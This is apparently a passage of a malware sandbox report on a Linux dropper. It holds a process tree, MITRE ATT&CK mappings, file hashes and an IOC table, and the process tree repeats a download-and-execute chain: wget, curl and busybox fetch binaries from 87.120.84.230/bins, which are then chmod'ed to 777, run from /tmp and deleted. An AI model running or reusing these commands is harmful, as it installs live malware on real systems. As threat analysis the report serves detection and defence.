  2⤵
  - System Network Configuration Discovery
  PID:942
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
  2⤵
  - System Network Configuration Discovery
  PID:944
- /bin/chmod
  chmod 777 GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
  ./GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:946
- /bin/rm
  rm GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
  2⤵
  - System Network Configuration Discovery
  PID:947
- /usr/bin/wget
  wget http://87.120.84.230/bins/K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  2⤵
  PID:948
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  2⤵
  PID:950
- /bin/chmod
  chmod 777 K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  ./K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  2⤵
  PID:953
- /usr/bin/wget
  wget http://87.120.84.230/bins/mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  2⤵
  PID:954
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  2⤵
  PID:956
- /bin/chmod
  chmod 777 mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  ./mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  2⤵
  PID:959
- /usr/bin/wget
  wget http://87.120.84.230/bins/Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  2⤵
  PID:960
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  2⤵
  PID:962
- /bin/chmod
  chmod 777 Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  ./Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  2⤵
  PID:965
- /usr/bin/wget
  wget http://87.120.84.230/bins/HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  2⤵
  - System Network Configuration Discovery
  PID:966
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  2⤵
  - System Network Configuration Discovery
  PID:968
- /bin/chmod
  chmod 777 HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  ./HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:970
- /bin/rm
  rm HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  2⤵
  - System Network Configuration Discovery
  PID:971

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn

Path /tmp/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn	723	JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
/tmp/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw	736	76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
/tmp/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP	742	5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
/tmp/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH	750	AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
/tmp/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw	772	cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
/tmp/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk	798	Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
/tmp/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg	814	Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
/tmp/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9	820	uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
/tmp/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s	833	H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
/tmp/GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk	858	GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
/tmp/K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR	868	K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
/tmp/mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ	874	mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
/tmp/Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ	880	Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
/tmp/HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt	886	HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
/tmp/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn	892	JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
/tmp/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw	898	76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
/tmp/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP	904	5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
/tmp/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH	910	AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
/tmp/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw	916	cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
/tmp/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk	922	Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
/tmp/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg	928	Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
/tmp/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9	934	uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
/tmp/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s	940	H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
/tmp/GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk	946	GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
/tmp/K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR	952	K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
/tmp/mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ	958	mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
/tmp/Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ	964	Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
/tmp/HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt	970	HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt